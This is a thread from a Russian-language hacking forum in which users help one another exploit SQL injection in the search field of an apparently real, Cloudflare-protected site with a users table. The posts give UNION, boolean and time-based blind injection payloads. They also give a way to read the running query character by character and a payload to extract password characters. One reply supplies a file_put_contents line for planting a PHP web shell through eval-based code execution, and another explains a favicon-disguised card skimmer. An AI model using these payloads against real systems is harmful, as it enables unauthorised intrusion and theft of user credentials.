HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2811  
Старый 17.05.2020, 15:48
erwerr2321
Guest
Сообщений: n/a
Провел на форуме:
759330

Репутация: 147
По умолчанию

что за ошибка?
 
Ответить с цитированием

  #2812  
Старый 17.05.2020, 17:48
FireRidlle
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме:
16896

Репутация: 0
По умолчанию

Цитата:
Сообщение от ms13  
ms13 said:

что за ошибка?
ошибка не бд. просто человекоподобная, типа "Something went wrong"

небольшие размышления. синтаксис select такой

Код:
Code:
SELECT [STRAIGHT_JOIN]

       [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]

       [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY]

       [DISTINCT | DISTINCTROW | ALL]

    select_expression,...

    [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]

    [FROM table_references

      [WHERE where_definition]

      [GROUP BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]

      [HAVING where_definition]

      [ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]

      [LIMIT [offset,] rows]

      [PROCEDURE procedure_name]

      [FOR UPDATE | LOCK IN SHARE MODE]]
когда использую `ORDER BY1` или `LIMIT 1`, то нет ошибок. но при использование `GROUP BY1` ошибка. то есть вроятней иньекция находится после GROUP BY, думаю ок, наверное поиск реализован в HAVING. попробовал `HAVING 1=1`, ошибки нет. но использовать два `HAVING` нельзя
 
Ответить с цитированием

  #2813  
Старый 18.05.2020, 05:13
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от holdik  
holdik said:

Имеется RCE eval($e), скачивание извне запрещены, system passthru и тд запрещено. Какие варианты залить Шелл? Отблагодарю
Код:
Code:
rce=@file_put_contents($_POST[f],$_POST[c]);&f=./filename.php&c=
Цитата:
Сообщение от FireRidlle  
FireRidlle said:

Код:
Code:
") or id=2 union select 1 -- -
ошибка
Код:
Code:
")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
")*-1 UNION SELECT "'\"\\" -- // если ошибка, значит результат уходит в другой запрос, крутим по обстоятельствам
") OR SUBSTRING((SELECT VERSION()),1,1)=5 LIMIT 1 -- // boolean based true, есть вывод чего либо
") OR SUBSTRING((SELECT VERSION()),1,1)=1 LIMIT 1 -- // boolean based false, вывода нет
") AND IF(SUBSTRING((SELECT VERSION()),1,1)=5,SLEEP(100),SLEEP(0)); -- // крутим time based
Цитата:
Сообщение от Octavian  
Octavian said:

Есть новость что воровали банковские данные через иконку сайта, мол иконка выдавалась на всех страницах но на сранице оплаты выдавался js файл keylogger. Это как что за тэг там был что работал и favicon и js?
https://www.bleepingcomputer.com/ne...te-favicon-to-camouflage-credit-card-skimmer/
Оригинал: https://blog.malwarebytes.com/threat...es-as-favicon/

Cервер отдавал JS только при "правильных" реферах, иначе выплёвывалась картинка. Браузер не подгружает левые майм типы для скриптов (script src) и ошибок никаких не возникает. А сделан сей трик, по всей видимости, для затруднения детекта автоматическими сканерами и анализаторами безопасности.

Статья немного вводит в заблуждение
 
Ответить с цитированием

  #2814  
Старый 18.05.2020, 10:35
FireRidlle
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме:
16896

Репутация: 0
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Код:
Code:
")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
")*-1 UNION SELECT "'\"\\" -- // если ошибка, значит результат уходит в другой запрос, крутим по обстоятельствам
") OR SUBSTRING((SELECT VERSION()),1,1)=5 LIMIT 1 -- // boolean based true, есть вывод чего либо
") OR SUBSTRING((SELECT VERSION()),1,1)=1 LIMIT 1 -- // boolean based false, вывода нет
") AND IF(SUBSTRING((SELECT VERSION()),1,1)=5,SLEEP(100),SLEEP(0)); -- // крутим time based
Код:
Code:
")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
вывода и ошибки нет. но если левый запрос, который перед union вернет хотя бы одну строку то будет ошибка. например

Код:
Code:
com%")*-1 UNION SELECT 1
а что значит "*-1" ?
 
Ответить с цитированием

  #2815  
Старый 18.05.2020, 11:25
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от FireRidlle  
FireRidlle said:

а что значит "*-1" ?
Простое произведение, при котором получается отрицательное значение

Цитата:
Сообщение от FireRidlle  
FireRidlle said:

вывода и ошибки нет. но если левый запрос, который перед union вернет хотя бы одну строку то будет ошибка. например
Запрос может быть сложный, многострочный, результат уходить в другой запрос, но при этом фильтроваться корректно и т.д. и т.п. Чтоб не гадать на кофейной гуще, можно считать текущий запрос посимвольно, как-то так:

Код:
Code:
SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"
 
Ответить с цитированием

  #2816  
Старый 18.05.2020, 14:27
FireRidlle
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме:
16896

Репутация: 0
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Простое произведение, при котором получается отрицательное значение
Запрос может быть сложный, многострочный, результат уходить в другой запрос, но при этом фильтроваться корректно и т.д. и т.п. Чтоб не гадать на кофейной гуще, можно считать текущий запрос посимвольно, как-то так:
Код:
Code:
SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"
нашел способ быстро крутить запрос по символам

Код:
Code:
sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty
мб кому то будет полезно))

нашел запрос (ps: все записал в апперкейсе так как INSTR caseinsensetive и не стал парится по этому поводу)

Код:
Code:
SELECT
    `USERS`.*,
    (
    SELECT COUNT(*) FROM `USERS` AS `LARAVEL_RESERVED_0`
        WHERE `USERS`.`ID` = `LARAVEL_RESERVED_0`.`REFERRER_ID` AND`LARAVEL_RESERVED_0`.`DELETED_AT` IS NULL
    ) AS `REFERRALS_COUNT`
    FROM `USERS`
    WHERE `REFERRER_ID` = ?  AND(
            `EMAIL` LIKE ? OR `IP` LIKE ?
OR CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) LIKE "%{INJECTION_HERE}%" OR `id`= ?) AND `USERS`.`DELETED_AT` IS NULL  ORDER BY  `ID` DESC LIMIT 20 OFFSET 0
вместо всех вопросов подставляется $_GET['search'] кроме `REFERRER_ID` = ?

но уязвивымый только CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) так как он идет в обход prepard statement

если там многострочный запрос, то думаю так обходить

Код:
Code:
notfound") union select *, 134 as 'referrals_count' from users where id=1 or (name="
снова ошибка....хотя локально воспроизвел и все ок

и не могу понять почему `notfound") union select 1 from users where id=1 or (name="` ошибок нет. но если убрать notfound то ошибка

сайт под cloudflare. мб как то фильтрует

количество колонок в таблице users = 36. +1 за REFERRALS_COUNT

попробовал union select 1,2,....37 ---

ошибка(

еще немного инфы

Код:
Code:
") or 1=1 limit 10 offset 0 -- -
возвращает первые 10

Код:
Code:
") or 1=1 limit 10 offset 1 -- -
ничего не возвращает

Код:
Code:
") or id=(select count(*) from users where id in (1,2,3,4) limit 1)  -- -
выводит запись под id=4. как так? мозг кипит...
 
Ответить с цитированием

  #2817  
Старый 19.05.2020, 22:04
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от FireRidlle  
FireRidlle said:

нашел способ быстро крутить запрос по символам
Советую ознакомиться с техниками которые описаны на rdot.org, там гуру скуль инъекций дожали из блайндов всё что можно и даже больше.

Цитата:
Сообщение от FireRidlle  
FireRidlle said:

если там многострочный запрос, то думаю так обходить
Конкретно в этом запросе обходить ничего не нужно, инъекция находится в последней строке и многострочность не мешает. Другое дело, когда мы вклиниваемя в подзапрос, к примеру.

Цитата:
Сообщение от FireRidlle  
FireRidlle said:

снова ошибка....хотя локально воспроизвел и все ок
и не могу понять почему `notfound") union select 1 from users where id=1 or (name="` ошибок нет. но если убрать notfound то ошибка
Смею предположить, что запрос не тот, иначе это выглядит как минимум странно Каким образом был прочитан текущий запрос? Нужно постараться прочитать именно тот, где внедряется конструкция "UNION SELECT" и в зависимости от логики, найти два состояния, чтоб читать булеевым методом, либо работать по времени. Вот пара абстрактных примеров:

Код:
Code:
")*-1 UNION SELECT 1 FROM (SELECT 1)a WHERE SUBSTRING((SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"),1,1)="S" -- 1
")*-1 UNION SELECT IF(SUBSTRING((SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"),1,1)="S",SLEEP(2),SLEEP(0)) -- 1
 
Ответить с цитированием

  #2818  
Старый 19.05.2020, 22:33
FireRidlle
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме:
16896

Репутация: 0
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Каким образом был прочитан текущий запрос?
вот так

Код:
Code:
sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty
Цитата:
Сообщение от crlf  
crlf said:

Смею предположить, что запрос не тот, иначе это выглядит как минимум странно
согласен. но как обьяснить вот это

Код:
Code:
?search=com // возвращает строки с `com`
?search=qwerty // нет строк с таким вхождением
com") union select 1 -- - // ошибка
qwerty") union select 1 -- - // ошиби нет, ничего не возвращает
 
Ответить с цитированием

  #2819  
Старый 20.05.2020, 01:07
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от FireRidlle  
FireRidlle said:

но как обьяснить вот это
Вполне возможно, что имеет место серия уязвимых к внедрению запросов. И тот который считался, идёт раньше того, в котором совершается выборка одного поля, поэтому, как указал ранее, нужно получить запрос в котором UNION успешно отрабатывает и отталкиваться от него. Но и это, не гарантирует успешного видимого вывода, но понять происходящее лучше, должно помочь.
 
Ответить с цитированием

  #2820  
Старый 20.05.2020, 10:10
FireRidlle
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме:
16896

Репутация: 0
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Вполне возможно, что имеет место серия уязвимых к внедрению запросов. И тот который считался, идёт раньше того, в котором совершается выборка одного поля, поэтому, как указал ранее, нужно получить запрос в котором UNION успешно отрабатывает и отталкиваться от него. Но и это, не гарантирует успешного видимого вывода, но понять происходящее лучше, должно помочь.
спасибо. таки да, есть второй запрос для пагинации

Код:
Code:
select count(*) as aggregate from `users` where `referrer_id` = ? and ( `email` like ? or `ip` like ? or concat_ws("", last_name, "", name, "midlle_name") like "%inject here%") and `users`.`deleted_at` is null order by  `id` desc limit 20 offset 0
получается если он возвращает 0, то второй запрос (который писал в пред. посте) не выполняется. это вполне обьясняет вот это поведение

Цитата:
Сообщение от FireRidlle  
FireRidlle said:

?search=com // возвращает строки с `com` ?search=qwerty // нет строк с таким вхождением com") union select 1 -- - // ошибка qwerty") union select 1 -- - // ошиби нет, ничего не возвращает
есть варианты как можно обойти ситауцию когда иньекция попадает в два запроса с раным количеством колонок и все же воспользоватся union based

или мб есть способ как в sql из колонок сделать строки

Код:
Code:
") or id in(select ascii(substring(pass,1,1)),ascii(substring(pass,2,1)),ascii(substring(pass,3,1)) from users where id=xxxx)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ